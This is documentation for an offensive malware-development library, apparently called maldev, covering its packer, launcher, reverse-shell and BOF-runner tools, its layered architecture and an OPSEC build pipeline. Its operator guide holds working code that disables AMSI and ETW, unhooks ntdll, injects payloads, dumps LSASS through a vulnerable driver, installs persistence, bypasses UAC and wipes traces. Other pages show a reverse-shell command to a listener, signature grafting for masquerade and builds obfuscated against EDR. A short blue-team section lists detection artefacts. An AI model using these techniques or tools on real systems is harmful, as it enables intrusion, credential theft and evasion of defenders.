# Pack a Windows EXE with anti-debug + compression
packer pack -in implant.exe -out packed.exe -format windows-exe \
  -compress -antidebug -randomize

# Build a CPU-aware bundle dispatching by vendor
packer bundle -out app.bin \
  -pl payload-intel.exe:intel:22000-99999 \
  -pl payload-amd.exe:amd:22000-99999

# Wrap the bundle inside the launcher
packer bundle -wrap bundle-launcher.exe -bundle app.bin -out app.exe

See also

bundle-launcher

Runtime launcher for C6 multi-target bundles built by packer bundle.

Source: cmd/bundle-launcher/ · godoc: pkg.go.dev/…/cmd/bundle-launcher Audience: operator · Platforms: Windows + Linux

What it does

Generic single-binary launcher that:

  1. Reads its own image via os.Executable().
  2. Validates the trailing MLDV-END footer (packer.ExtractBundle).
  3. Matches a payload against host CPUID vendor + Windows build (packer.MatchBundleHost).
  4. Decrypts the matched payload (packer.UnpackBundle).
  5. Executes plaintext from a memfd_create FD (Linux, zero-disk) or temp file (Windows).

Exits cleanly when no entry matches and FallbackBehaviour = BundleFallbackExit.

Build

go build -o bundle-launcher.exe ./cmd/bundle-launcher

Example

# 1. Build the launcher once
go build -o bundle-launcher.exe ./cmd/bundle-launcher

# 2. Build a multi-target bundle
packer bundle -out bundle.bin \
  -pl payload-w11.exe:intel:22000-99999 \
  -pl payload-w10.exe:amd:10000-19999  \
  -pl fallback.exe:*:*-*

# 3. Wrap the bundle inside the launcher
packer bundle -wrap bundle-launcher.exe -bundle bundle.bin -out app.exe

# 4. Ship app.exe — runtime dispatches per host
./app.exe

See also

bof-runner

Standalone runner for Beacon Object Files (CS-compatible COFF).

Source: cmd/bof-runner/ · godoc: pkg.go.dev/…/cmd/bof-runner Audience: operator + researcher · Platforms: Windows only

Synopsis

bof-runner -file <path.o>  [-arg-int N] [-arg-string S] [-arg-short N] [-arg-bytes <hex>]
bof-runner -url  <https://…>   [same args]

What it does

Loads a Cobalt-Strike-style COFF object into the current process and runs its go entrypoint. Arguments are packed in BeaconDataPack format and consumed by the BOF via BeaconDataInt / DataShort / DataExtract. Validated against the public BOF ecosystem (TrustedSec SA, Outflank, FortyNorth, CS community kit). Constraints documented in runtime/bof-loader.

Build

GOOS=windows GOARCH=amd64 go build -o bof-runner.exe ./cmd/bof-runner

Examples

:: Run an enumeration BOF with two args (int + string)
bof-runner.exe -file whoami.o -arg-int 1 -arg-string "DOMAIN\user"

:: Fetch and run from a URL (research / sandbox use)
bof-runner.exe -url https://example.invalid/payload.o

See also

cert-snapshot

Harvest donor Authenticode certificates for masquerade builds.

Source: cmd/cert-snapshot/ · godoc: pkg.go.dev/…/cmd/cert-snapshot Audience: operator (build host) · Platforms: Windows (donors must be installed)

Synopsis

cert-snapshot -out <dir>

What it does

Dumps the Authenticode WIN_CERTIFICATE blob of every donor PE in pe/masquerade/internal/donors.All to <dir>/<id>.bin. Run once on a host that has the donors installed; ship the resulting blobs alongside your build toolchain so subsequent builds can graft signatures without the donors present.

// later, on any build host:
raw, _ := os.ReadFile("certs/claude.bin")
cert.Write("implant.exe", &cert.Certificate{Raw: raw})

[!WARNING] The grafted signature is not cryptographically valid — the PE hash differs from the donor. This fools "has a signature blob?" static checks and the file-properties UI, nothing more.

Build

go build -o cert-snapshot ./cmd/cert-snapshot

Example

mkdir -p ignore/certs
cert-snapshot -out ./ignore/certs
ls ignore/certs/
# acrobat.bin  chrome.bin  claude.bin  notepadpp.bin  …

See also

rshell

Minimal reverse shell over c2/shell + c2/transport.

Source: cmd/rshell/ · godoc: pkg.go.dev/…/cmd/rshell Audience: operator · Platforms: Windows + Linux

Synopsis

rshell -host <ip> -port <port> [-tls] [-retry <seconds>]
FlagDefaultMeaning
-hostC2 listener host.
-portC2 listener port.
-tlsoffWrap the transport in TLS (uses c2/cert if no cert provided).
-retry0Reconnect delay in seconds (0 = no retry).

Build

GOOS=windows GOARCH=amd64 go build -o rshell.exe ./cmd/rshell

Example

# On the operator side, any TCP listener (nc / metasploit / c2/transport server)
nc -lvnp 4444

# On target:
rshell.exe -host 10.0.0.5 -port 4444 -tls -retry 30

See also

sleepmask-demo

Demo harness for evaluating sleep-mask techniques against a memory scanner.

Source: cmd/sleepmask-demo/ · godoc: pkg.go.dev/…/cmd/sleepmask-demo Audience: researcher / detection engineer · Platforms: Windows

What it does

Runs the evasion/sleepmask masking scenarios in-process while a concurrent scanner reads the heap, so you can compare detection rates per mask (XOR / RC4 / AES-CTR / Ekko). Not an operational tool — purpose is to empirically validate a mask before wiring it into a payload.

Build

GOOS=windows GOARCH=amd64 go build -o sleepmask-demo.exe ./cmd/sleepmask-demo

Example

sleepmask-demo.exe -h

See also

Research & dev helpers

Tools shipped under cmd/ that are not part of an operator loadout. They support packer research, in-VM inspection, build reproducibility, and CI. Listed here so you can find them, not because they ship to a target.

Packer research

ToolSourcePurpose
packer-viscmd/packer-vis/Visualise a packed binary — entropy heatmap, section layout, bundle wire-format ASCII art. Use when iterating on stub layout or auditing IOC drift.
packerscopecmd/packerscope/Defender-side companion: detects + dumps + extracts maldev artefacts symmetrically with packer. Use for detection engineering.

Memory inspection (memscan stack)

In-VM memory scanner used by tests + research workflows. Three binaries work together — none ship to a real target.

ToolSourcePurpose
memscan-servercmd/memscan-server/HTTP/JSON API exposed inside the target VM for memory queries.
memscan-harnesscmd/memscan-harness/Spawns sacrificial processes against which a scan is run.
memscan-mcpcmd/memscan-mcp/Model Context Protocol adapter — relays AI tool calls to memscan-server.

See memscan stack — memory notes.

Build / CI helpers

ToolSourcePurpose
hashgencmd/hashgen/Pre-compute ROR-13 / FNV-1a API-name hashes for shellcode embedding. Build-time helper.
vmtestcmd/vmtest/Run the Go test suite inside isolated VMs (VirtualBox + libvirt auto-detected). See Testing.
test-reportcmd/test-report/Ingest go test -json streams, surface flaky tests + coverage gaps.

Truly internal (internal/tools/)

These don't even live in cmd/ because they are CI/repo-only: build-fixture-winres, coverage-merge, docgen, lsass-dump-test, vm-test-memscan. They are listed here for completeness only — see their respective Go files for usage.

Architecture

← Back to README

Layered Design

maldev follows a strict bottom-up dependency model. Each layer only depends on layers below it.

graph TD
    subgraph "Layer 0 — Pure Go (no OS calls)"
        crypto["crypto/"]
        encode["encode/"]
        hash["hash/"]
        random["random/"]
        useragent["useragent/"]
    end

    subgraph "Layer 1 — OS Primitives"
        api["win/api<br>DLL handles, PEB walk, API hashing"]
        syscall["win/syscall<br>Direct/Indirect syscalls, HashGate"]
        ntapi["win/ntapi<br>Typed NT wrappers, handle enum"]
        token["win/token<br>Token manipulation"]
        privilege["win/privilege<br>Elevation helpers"]
        impersonate["win/impersonate<br>Thread impersonation"]
        version["win/version<br>Version detection"]
        domain["win/domain<br>Domain membership"]
        kerneldriver["kernel/driver<br>BYOVD primitives (Reader/Writer/Lifecycle)"]
    end

    subgraph "Layer 2 — Techniques"
        inject["inject/<br>15 injection methods"]
        evasion["evasion/<br>active evasion (amsi, etw, unhook, sleepmask, callstack, kcallback, …)"]
        recon["recon/<br>read-only discovery (antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network)"]
        cleanup["cleanup/<br>memory, files, timestamps, ads, bsod"]
        pe["pe/<br>parse, strip, morph, srdi, cert, masquerade, imports"]
        runtime["runtime/<br>in-process loaders (clr, bof)"]
        process_tamper["process/tamper/<br>hideprocess, herpaderping, fakecmd, phant0m"]
        process["process/<br>enum, session"]
        ui["ui/<br>MessageBox + sounds"]
        credentials["credentials/<br>lsassdump (LSASS dump + PPL unprotect)"]
        privesc["privesc/<br>uac (4 bypass) + cve202430088 (kernel LPE)"]
        persistence["persistence/<br>registry, startup, scheduler, service, lnk, account"]
    end

    subgraph "Layer 3 — Orchestration"
        shell["c2/shell<br>Reverse shell + state machine"]
        meterpreter["c2/meterpreter<br>Metasploit staging"]
        transport["c2/transport<br>TCP, TLS, uTLS, Malleable HTTP"]
        cert["c2/cert<br>Certificate generation"]
    end

    %% Dependencies
    api --> hash
    syscall --> api
    ntapi --> api
    inject --> api
    inject --> syscall
    evasion --> api
    evasion --> syscall
    evasion --> kerneldriver
    kerneldriver --> api
    credentials --> kerneldriver
    privesc --> ntapi
    privesc --> token
    privesc --> inject
    process_tamper --> api
    shell --> transport
    shell --> evasion
    meterpreter --> transport
    meterpreter --> inject
    meterpreter --> useragent

Caller Pattern

The *wsyscall.Caller is the central OPSEC mechanism. Any function that calls NT syscalls accepts an optional Caller parameter:

flowchart LR
    A[Your Code] --> B{Caller?}
    B -->|nil| C[Standard WinAPI<br>kernel32 → ntdll]
    B -->|WinAPI| C
    B -->|NativeAPI| D[ntdll directly]
    B -->|Direct| E[Syscall stub<br>in RW→RX page]
    B -->|Indirect| F[Jump to ntdll<br>syscall;ret gadget]

    E --> G[SSN Resolver]
    F --> G
    G --> H{Resolver Type}
    H -->|HellsGate| I[Read prologue]
    H -->|HalosGate| J[Scan neighbors]
    H -->|TartarusGate| K[Follow JMP hook]
    H -->|HashGate| L[PEB walk + ROR13]

Evasion Composition

Evasion techniques compose via the evasion.Technique interface:

flowchart TD
    A[Configure Techniques] --> B["techniques := []evasion.Technique{
        amsi.ScanBufferPatch(),
        etw.All(),
        unhook.Full(),
    }"]
    B --> C["evasion.ApplyAll(techniques, caller)"]
    C --> D{Each technique}
    D --> E[AMSI: Patch prologue]
    D --> F[ETW: Patch 6 functions]
    D --> G[Unhook: Restore .text]
    E --> H[Ready for injection]
    F --> H
    G --> H

Memory Protection Lifecycle

All injection methods follow the RW→RX pattern (never RWX):

stateDiagram-v2
    [*] --> Allocate: VirtualAlloc(PAGE_READWRITE)
    Allocate --> Write: Copy shellcode
    Write --> Protect: VirtualProtect(PAGE_EXECUTE_READ)
    Protect --> Execute: CreateThread / APC / Callback
    Execute --> Cleanup: WipeAndFree / Sleep Mask
    Cleanup --> [*]

    state "Sleep Mask Cycle" as SM {
        [*] --> Encrypt: XOR + PAGE_READWRITE
        Encrypt --> Sleep: time.Sleep / BusyWaitTrig
        Sleep --> Decrypt: XOR + Restore original
        Decrypt --> [*]
    }

    Execute --> SM: Between beacons
    SM --> Execute: Wake up

Per-Package Quick-Reference

One-line "what's in here" for every shipping package, grouped by layer. Click any package name to jump to its area-doc or technique page.

Layer 0 — Pure Go (no OS calls)

PackageSurface
crypto/AES-GCM, ChaCha20, RC4, XOR, TEA/XTEA, S-box, matrix, arith — payload encryption + obfuscation primitives
encode/Base64 (std + URL), UTF-16LE, PowerShell -EncodedCommand, ROT13
hash/MD5/SHA1/SHA256/SHA512, ROR13 (API hashing), ssdeep, TLSH
random/Crypto-secure random bytes, XOR-shift PRNG
useragent/Browser-realistic User-Agent strings

Layer 1 — OS Primitives

PackageSurface
win/apiDLL handles (User32, Kernel32, …), PEB walk, API hashing
win/syscallDirect + Indirect syscalls, HashGate lookup
win/ntapiTyped Nt* wrappers, handle enumeration
win/tokenToken open/duplicate/info
win/privilegeElevation helpers (SeDebugPrivilege, …)
win/impersonateThread impersonation
win/version, win/domainVersion + domain membership
kernel/driverKernelReader / KernelReadWriter BYOVD interfaces (rtcore64 impl)
process/enum, process/sessionProcess enumeration + session helpers

Layer 2 — Techniques (active)

PackageSurface
evasion/amsiPatchScanBuffer, PatchOpenSession, All
evasion/etwEtwEventWrite patch, EtwTi patch, All
evasion/unhookRestore ntdll text section
evasion/sleepmaskEkko, Foliage, multi-region rotation
evasion/callstackSpoofCall synthetic frames
evasion/kcallbackEnumerate, Remove, Restore (BYOVD)
evasion/presetApply, ApplyAll orchestration
kernel/driver/rtcore64RTCore64 BYOVD driver lifecycle (moved out of evasion/ — Layer 1 BYOVD primitive)
evasion/stealthopenOpener interface + transactional NTFS
process/tamper/fakecmdPEB CommandLine spoof
process/tamper/hideprocessProcess Hacker / Explorer in-memory patch
process/tamper/phant0mSuspend EventLog threads
recon/*antidebug, antivm, sandbox, timing, hwbp, dllhijack, drive, folder, network
inject/15 injection methods (CRT, EarlyBird, ETW thread, KernelCallbackTable, ModuleStomp, NtQueueApcEx, RemoteThread, SectionMap, ThreadHijack, ThreadPool, …)
pe/*parse, strip, morph (UPX), srdi, cert, masquerade, imports
cleanup/*memory wipe, self-delete, timestomp, ADS
runtime/clrIn-process .NET CLR host
runtime/bofBeacon Object File loader
credentials/lsassdumpLSASS minidump producer + PPL bypass
credentials/sekurlsaMINIDUMP → MSV1_0 NT-hash extractor (cross-platform)
privesc/uac4 UAC bypass primitives + EventVwrLogon alt-creds variant
privesc/cve202430088CVE-2024-30088 kernel TOCTOU → SYSTEM token swap

Layer 2 — Post-exploitation

PackageSurface
persistence/registryRun, RunOnce, image-file-execution-options
persistence/startup.lnk drop in user/all-users Startup
persistence/schedulerschtasks wrapper with trigger options
persistence/serviceSCM service install (auto-start / on-demand / kernel-driver)
persistence/lnkShortcut creation with hidden window + minimised state
persistence/accountLocal user / group manipulation via NetUserAdd / NetLocalGroupAddMembers
collection/clipboardReadText, Watch
collection/keylogLow-level WH_KEYBOARD_LL hook + Ctrl+V capture
collection/screenshotPer-monitor + virtual-desktop PNG capture
collection/adsNTFS Alternate Data Streams

Layer 3 — Orchestration

PackageSurface
c2/shellReverse-shell state machine + PPID-spoofer
c2/meterpreterMetasploit reverse-staging (TCP/HTTP/HTTPS/TLS)
c2/transportTCP, TLS, uTLS, malleable HTTP, named-pipe
c2/multicatOperator-side multi-session listener
c2/certSelf-signed cert generation

Build Pipeline

flowchart LR
    A[Source Code] --> B[garble -literals -tiny]
    B --> C[go build -trimpath -ldflags='-s -w']
    C --> D[pe/strip.Sanitize]
    D --> E[Optional: UPX pack]
    E --> F[pe/morph.UPXMorph]
    F --> G[Final Binary]

    style B fill:#f96
    style D fill:#f96
    style F fill:#f96

OPSEC Build Pipeline

<- Back to README

Building maldev implants for operational use requires stripping Go-specific artifacts that EDR/AV products use for detection.


Quick Start

# Install garble (one-time)
make install-garble

# OPSEC release build
make release BINARY=payload.exe CMD=./cmd/rshell

# Debug build (with logging)
make debug BINARY=debug.exe CMD=./cmd/rshell

What Gets Stripped

ArtifactDetection RiskMitigation
.pclntab (Go PC-line table)Critical — single most reliable Go identifiergarble randomizes it
Package paths (github.com/oioio-space/maldev/inject)High — static YARA rulesgarble + -trimpath
String literals ("NtAllocateVirtualMemory")High — signature foddergarble -literals + CallByHash
Symbol tableMedium — function names visible in debugger-ldflags="-s" strips it
DWARF debug infoMedium — source file references-ldflags="-w" strips it
Build IDLow — links to build environment-buildid= empties it
Console windowLow — visible to user-H windowsgui hides it
Runtime panic stringsLow — "goroutine", "fatal error"garble -tiny removes them

Build Modes

Development (default)

go build -trimpath -ldflags="-s -w" -o dev.exe ./cmd/rshell
  • Symbols stripped, debug info stripped, paths trimmed
  • Still identifiable as Go (pclntab intact, strings visible)
  • Use for: testing, development, non-operational builds

Release (OPSEC)

CGO_ENABLED=0 garble -literals -tiny -seed=random \
    build -trimpath -ldflags="-s -w -H windowsgui -buildid=" \
    -o payload.exe ./cmd/rshell
  • garble randomizes all symbols and type names
  • -literals encrypts all string literals (decrypted at runtime)
  • -tiny removes panic/print support strings
  • -seed=random ensures each build is unique
  • Significantly harder to identify as Go or attribute to maldev

Debug (with logging)

go build -trimpath -tags=debug -ldflags="-s -w" -o debug.exe ./cmd/rshell
  • Enables internal/log real output (slog to stderr)
  • Use for: troubleshooting in controlled environments
  • Never deploy debug builds operationally — log strings are in the binary

CallByHash: Eliminating Function Name Strings

Even with garble, Caller.Call("NtAllocateVirtualMemory", ...) leaves function name strings in the binary because garble doesn't encrypt function arguments that are computed at runtime.

Solution: Use CallByHash with pre-computed constants:

// BAD — "NtAllocateVirtualMemory" appears in binary
caller.Call("NtAllocateVirtualMemory", ...)

// GOOD — only 0xD33BCABD (uint32) in binary
caller.CallByHash(api.HashNtAllocateVirtualMemory, ...)

Pre-computed hashes are in win/api/resolve_windows.go:

FunctionHash
NtAllocateVirtualMemory0xD33BCABD
NtProtectVirtualMemory0x8C394D89
NtCreateThreadEx0x4D1DEB74
NtWriteVirtualMemory0xC5108CC2
LoadLibraryA0xEC0E4E8E
GetProcAddress0x7C0DFCAA

For functions not in the pre-computed list, use hash.ROR13(name) at development time and hardcode the result.


garble Reference

garble is the only maintained Go obfuscator compatible with recent Go versions.

# Install
go install mvdan.cc/garble@latest

# Flags
garble [flags] build [go build flags]

# Key flags:
#   -literals     Encrypt string literals
#   -tiny         Remove extra runtime info
#   -seed=random  Random obfuscation seed per build
#   -debugdir=dir Dump obfuscated source for inspection

Limitations:

  • Increases binary size ~10-20% (encrypted strings + decryption stubs)
  • Slightly slower startup (string decryption)
  • -tiny removes fmt.Print/panic support — ensure your code handles errors via error returns, not panics
  • Cannot obfuscate the Go runtime itself (goroutine scheduler, GC)

Post-Build Verification

After building, verify OPSEC quality:

# Check for Go runtime strings
strings payload.exe | grep -iE "goroutine|runtime\.|GOROOT|go1\." | wc -l
# Target: 0 with garble -tiny

# Check for maldev package paths
strings payload.exe | grep -i "maldev\|oioio" | wc -l
# Target: 0 with garble

# Check for NT function names
strings payload.exe | grep -iE "NtAllocate|NtProtect|NtCreate|NtWrite" | wc -l
# Target: 0 with CallByHash

# Check for RWX memory (should not exist in stubs)
# Run under a debugger and check VirtualAlloc calls for PAGE_EXECUTE_READWRITE

Architecture Decision Records (ADRs)

Short notes that capture why maldev is shaped the way it is. Each ADR has the same minimal structure (Context → Decision → Consequences) so a reader can answer "why was X chosen over Y?" in two minutes.

Pattern from Michael Nygard's original ADR proposal — adopted by Spotify, ThoughtWorks, Kubernetes, and many others.

Why ADRs

Code shows what we built. godoc shows how to call it. ADRs show why the alternatives were rejected. Without them, every new contributor (or you in 6 months) re-litigates the same choices.

Examples of questions ADRs answer:

  • Why does every NT* call accept an optional *wsyscall.Caller?
  • Why does the packer expose 10 modes instead of 1 with flags?
  • Why mdBook and not Docusaurus?
  • Why examples/ at top-level and not cmd/examples/?
  • Why is the API ref godoc-only?

Template

# ADR-NNNN — Short title

**Status:** proposed | accepted | superseded by ADR-MMMM
**Date:** YYYY-MM-DD

## Context

What forces are at play? What are the constraints? What did we
already try? Cite the issue / PR / discussion that triggered the
decision.

## Decision

The choice in one paragraph. Imperative voice: "We will use X."

## Consequences

- Positive: what we gain.
- Negative: what we lose, what we'll have to live with.
- Neutral: behavioural changes that aren't clearly pro or con.

## Alternatives considered

- **Option A** — why rejected.
- **Option B** — why rejected.

## References

Links to issues / PRs / external materials.

Index

ADRs are sequentially numbered, never renumbered, never deleted (superseded ADRs stay readable so the history is traceable).

#TitleStatus
0001The wsyscall.Caller patternaccepted
0002godoc-only API referenceaccepted
0003mdBook over Docusaurus (for now)accepted
0004Diátaxis-pragmatic, not Diátaxis-pureaccepted

Adding a new ADR

  1. Copy the template above into NNNN-short-title.md (next sequential number).
  2. Fill the sections — keep it short (≤2 pages typical).
  3. Add a row to the index table above.
  4. Open a PR. ADRs get reviewed like code; the discussion in the PR is part of the record.

Anti-patterns

  • Don't write speculative ADRs. Capture decisions you've actually made, not options you're still considering.
  • Don't rewrite old ADRs. If a decision is reversed, write a new ADR that supersedes the old one. The history is the point.
  • Don't put "why we chose X" content inside technique pages. Technique pages explain what and how. ADRs explain why.

For operators (red team)

← maldev README · docs/index

You are running an engagement. You want chains that compose, payloads that land, and OPSEC that holds. This page walks the curated reading order.

TL;DR

Six packages — reconevasioninjectsleepmaskcollectioncleanup — share one *wsyscall.Caller. Plug it once, every package below it inherits the syscall stealth.

30-minute path: a working implant

[!IMPORTANT] Run from a VM. The intrusive packages call real APIs against the live OS. See vm-test-setup.md for the lab.

1. Pick your syscall stance

StanceMethodTrade-off
QuietestMethodIndirectAsm + Chain(NewHashGate(), NewHellsGate())Go-asm stub (no heap stub, no VirtualProtect cycle), ROR13-resolved SSN, randomised gadget inside ntdll
Quiet, heap stubMethodIndirect + Chain(NewHashGate(), NewHellsGate())Heap stub byte-patched + RW↔RX per call; same ntdll gadget end-effect
Quiet, simplerMethodDirect + NewHellsGate()Direct syscall instruction, no fallback. Triggers some EDR call-stack heuristics
Loud, debugMethodWinAPI (default)Standard CRT call. Useful when iterating; drop before delivery
caller := wsyscall.New(
    wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()),
)

2. Disable in-process defences

Apply the evasion preset for "modern Windows endpoint":

evasion.ApplyAll([]evasion.Technique{
    amsi.ScanBufferPatch(),    // T1562.001
    etw.All(),                  // T1562.001
    unhook.Classic("ntdll.dll"), // T1562.001 — restores 4C 8B D1 B8
}, caller)

See docs/techniques/evasion/ for the full menu (HW breakpoints, callstack spoof, ACG, BlockDLLs, kernel callback removal).

3. Inject payload

Choose a method by OPSEC class:

MethodOPSECWhen
SectionMapInjectquietDefault for remote injection
PhantomDLLInjectvery-quietTargets that allow NtCreateSection(SEC_IMAGE)
ModuleStompquietLocal-only; reuses an unused-module RX page
ExecuteCallback (TimerQueue)quietLocal-only; no thread creation, no APC
CreateRemoteThreadnoisyQuick-and-dirty remote

Each accepts the same *wsyscall.Caller and stealthopen.Opener for file read stealth where applicable.

4. Sleep masking between callbacks

mask := sleepmask.New(sleepmask.StrategyEkko, caller)
mask.Sleep(60 * time.Second) // bytes XOR-encrypted, decrypted on wake

Three strategies:

  • StrategyEkko — ROP chain, encrypts current thread stack.
  • StrategyFakeJmp — JIT-rewrites a return-to-mask spot.
  • StrategyTimerQueue — pure-userland timer fall-back.

See sleep-mask.md.

5. Cleanup at end-of-mission

selfdelete.RunWithScript() // ADS rename + batch + reboot — T1070.004
memory.WipeAndFree(secret) // overwrite + VirtualFree
timestomp.CopyFrom(target, "C:/Windows/System32/notepad.exe") // T1070.006

Common operator scenarios

Credential harvest

// 1. PPL unprotect via BYOVD (RTCore64).
drv, _ := rtcore64.New(rtcore64.Config{ServiceName: "rtcore"})
drv.Install()
defer drv.Uninstall()

// 2. Dump LSASS.
dump, _ := lsassdump.Dump(caller, drv)

// 3. Parse without dropping a .dmp file.
hashes, _ := sekurlsa.Parse(dump)

→ full chain in docs/techniques/credentials/.

Persistence

// Quietest: Registry Run key
mech := registry.NewRunKeyMechanism("Updater", "C:/Users/Public/u.exe", registry.HKCU)
mech.Install()
MechanismQuietNotes
persistence/registryHKCU writable as user
persistence/startup (LNK)Drops a .lnk; AV scans the target
persistence/scheduler⚠️COM ITaskService leaves event-log entry
persistence/serviceRequires SYSTEM, very noisy

Privilege escalation

if uac.SilentCleanup().Run() == nil {
    // re-launched as High IL — chain continues
}

Four bypasses: FODHelper, SLUI, SilentCleanup, EventVwr. All are T1548.002. See privesc/uac.

Lateral movement

This library focuses on the target side. For lateral mvmt primitives (SMB, WMI, WinRM) wire up your own — c2/transport gives the re-establishment plumbing.

Build pipeline (OPSEC delivery)

opsec-build.md covers the full pipeline. Quick recipe:

# 1. Compile-time PE masquerade as cmd.exe
go build -tags 'masquerade_cmd' -trimpath -ldflags='-s -w' -o impl.exe

# 2. Strip Go pclntab + sanitize section names
go run github.com/oioio-space/maldev/cmd/sleepmask-demo \
    -in impl.exe -out impl-clean.exe

# 3. Morph (random section names + UPX-style header)
# (use pe/morph for runtime; for delivery, do it pre-flight)

OPSEC checklist

  • All packages share one *wsyscall.Caller instance — never new one per call.
  • evasion.ApplyAll(...) runs before any injection / file read.
  • sleepmask enabled between operator callbacks.
  • Build with -trimpath -ldflags='-s -w' -tags <masquerade_preset>.
  • pe/strip + pe/morph post-build.
  • No write to C:\Users\Public or %TEMP% unless absolutely needed.
  • Cleanup chain wired into shutdown path: selfdelete last.

Where to next

  • Composed examples — basic implant, evasive injection, full attack chain.
  • docs/techniques/ — every technique with API reference.
  • Researcher path — if you want to know why the Caller pattern exists, or how the kernel-callback removal actually works.

For researchers (R&D)

← maldev README · docs/index

You want to understand. This page walks the architecture, the design patterns that make every package compose, and the references behind each technique.

TL;DR

The library is built around one composable abstraction: every syscall-issuing package accepts an optional *wsyscall.Caller. The caller encapsulates the calling method (WinAPI / NativeAPI / Direct / Indirect) and the SSN-resolution strategy (chain of gates: HellsGate → HalosGate → Tartarus → HashGate). This is the maldev "Caller pattern" — read it first.

Architecture

flowchart TD
    L0["Layer 0 (pure Go)<br>crypto · encode · hash · random · useragent"]
    L1["Layer 1 (OS primitives)<br>win/api · win/syscall · win/ntapi · win/token · win/privilege<br>process/enum · process/session · kernel/driver"]
    L2T["Layer 2 (techniques)<br>evasion/* · recon/* · inject · pe/* · runtime/*<br>cleanup/* · process/tamper/* · privesc/*"]
    L2P["Layer 2 (post-ex)<br>persistence/* · collection/* · credentials/*"]
    L3["Layer 3 (orchestration)<br>c2/transport · c2/shell · c2/meterpreter · c2/cert"]

    L0 --> L1
    L1 --> L2T
    L1 --> L2P
    L2T --> L3
    L2P --> L3

Detailed dependency rules and the complete package matrix: architecture.md.

The Caller pattern

Every package that issues syscalls follows this signature:

func DoThing(args ..., caller *wsyscall.Caller) (..., error)

A nil caller falls back to WinAPI (the standard CRT path — easy debugging, noisy in production). A non-nil caller routes the call through the chosen method:

sequenceDiagram
    participant Pkg as "package (e.g. amsi)"
    participant Caller as "*wsyscall.Caller"
    participant Resolver as "SSN Gate Chain"
    participant NT as "ntdll syscall stub"
    Pkg->>Caller: NtProtectVirtualMemory(...)
    Caller->>Resolver: resolve("NtProtectVirtualMemory")
    Resolver-->>Caller: SSN 0x50
    Caller->>NT: indirect call (rcx, rdx, r8, r9, [rsp+0x28])
    NT-->>Caller: NTSTATUS
    Caller-->>Pkg: error or nil

Why this design?

  1. Uniform OPSEC tuning — change one variable, all dependent packages inherit the new stealth level. No per-call configuration sprawl.
  2. Resolver fall-back chain — if HellsGate fails (ntdll hooked), HalosGate walks down to find a clean stub. Each package gets the chain "for free".
  3. Testability — the WinAPI fall-back lets unit tests run on any Windows host without elevation, while integration tests in VMs run with MethodIndirect to validate the stealth path.

See: win/syscall/doc.go and the direct-indirect / ssn-resolvers pages.

Cross-version Windows behavior

Some techniques fail on newer Windows builds. Tracked deltas:

TechniqueWin10 22H2Win11 24H2 (build 26100)Notes
process/tamper/herpaderping.ModeRunWin11 image-load notify hardening — use ModeGhosting
cleanup/selfdelete.DeleteFile⚠️MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics changed
process/tamper/fakecmd.SpoofPIDPROC_THREAD_ATTRIBUTE_PARENT_PROCESS tightened
inject.CallerMatrix_RemoteInject (some methods + Direct/Indirect)⚠️Cross-process write + thread-create primitives
evasion/hook test EXE(Defender flagged)(Defender flagged)Defender def-update — exclusions in bootstrap-windows-guest.ps1

Source of truth: the ## Win10 → Win11 cross-version deltas table in testing.md.

Reading order — by complexity

  1. Pure Go: crypto, encode, hash — read *_test.go first; the algorithms speak for themselves.
  2. OS-primitives: win/syscall — start here, the Caller pattern radiates out.
  3. Detection-evasion mechanics: evasion/amsi, evasion/etw, evasion/unhook. Concrete byte-pattern verification, easy to validate in x64dbg.
  4. Sleep masking: sleepmask — the Ekko ROP chain is a small masterpiece; the Go bindings preserve the semantics.
  5. Injection: inject. 15+ methods — read the CallerMatrix test in testing.md for the feature × stealth grid.
  6. In-process runtime: runtime/bof, runtime/clr. BOF/COFF parsing in pure Go; CLR hosting via ICorRuntimeHost (legacy v2 activation).
  7. Kernel BYOVD: kernel/driver/rtcore64. Layer-1 primitives (Reader / ReadWriter / Lifecycle); CVE-2019-16098 IOCTL scaffold; consumed by evasion/kcallback.Remove and credentials/lsassdump.Unprotect.

VM testing

Reproducible test harness: coverage-workflow.md.

# One-time: bootstrap VMs from scratch
bash scripts/vm-provision.sh

# Each session: full coverage with all gates open, merged report
bash scripts/full-coverage.sh --snapshot=TOOLS

The harness orchestrates Windows + Linux + Kali VMs; gating env vars (MALDEV_INTRUSIVE, MALDEV_MANUAL) unlock destructive tests safely.

How to extend

Adding a new injection method

  1. Add a Method<Name> constant to inject/method.go.
  2. Implement case MethodXxx: in WindowsInjector.Inject. The *wsyscall.Caller is already wired — call through it for any syscall.
  3. Add the method to the CallerMatrix test.
  4. Update docs/techniques/injection/ per the doc-conventions template.
  5. Tag the MITRE ID in the new package's doc.go; internal/tools/docgen rolls it into mitre.md.

Adding a new evasion technique

Same shape: package under evasion/<name>, exposes a function returning an evasion.Technique so it composes via evasion.ApplyAll.

References

Per-technique pages cite their own primary sources — these are the spine references for the architecture.

Where to next

For detection engineers (blue team)

← maldev README · docs/index

Every technique here has been measured against EDR / Defender / event logs. This page lists the artifacts each leaves behind, where to look, and which D3FEND counter-technique applies. Use it to write detections, plan red-team exercises, or harden endpoints.

TL;DR

[!TIP] If your goal is "what should I monitor first", focus on the noisy / very-noisy rows in the Detection Difficulty table below. Those are the techniques where the trade-off is worst for the attacker — easiest wins for the defender.

Detection difficulty matrix

Every package is annotated with a Detection level field in its doc.go. Buckets:

BucketOperator can hide it?Defender notes
very-quietYes — zero artifacts above noiseIn-process, common syscalls only. Detection requires per-process behavioural ML.
quietMostlyMinimal trace, no event log. Maybe one transient registry/file artifact.
moderateSometimesDistinguishable syscall pattern; volume-based detection works.
noisyNo without effortETW provider, event log entry, cross-process activity.
very-noisyNoSignature-detected by Defender or EDR; specific API hooks watched.

internal/tools/docgen (Phase 3 of the doc refactor) produces a flat table of all public packages by detection level. Until then, see each package's doc.go.

Per-area detection guidance

Syscalls — win/syscall

StanceTelemetry leftDetection vector
MethodWinAPIStandard CRT callNone — looks like any benign program
MethodNativeAPIntdll!Nt* direct callFrequency-based: a process making 200+ NT calls/sec is unusual
MethodDirectsyscall instruction inside loaded moduleEDR call-stack walking detects RIP not in ntdll. D3-PCM (Process Code Modification)
MethodIndirectsyscall instruction inside ntdll (jumped to from caller via heap stub)Hard to detect from user-mode. Heap stub page is RW↔RX-cycled per call — VirtualProtect rate may be a heuristic. Kernel-mode ETW (TI events) sees the issuing thread. D3-PSM (Process Spawn Monitoring)
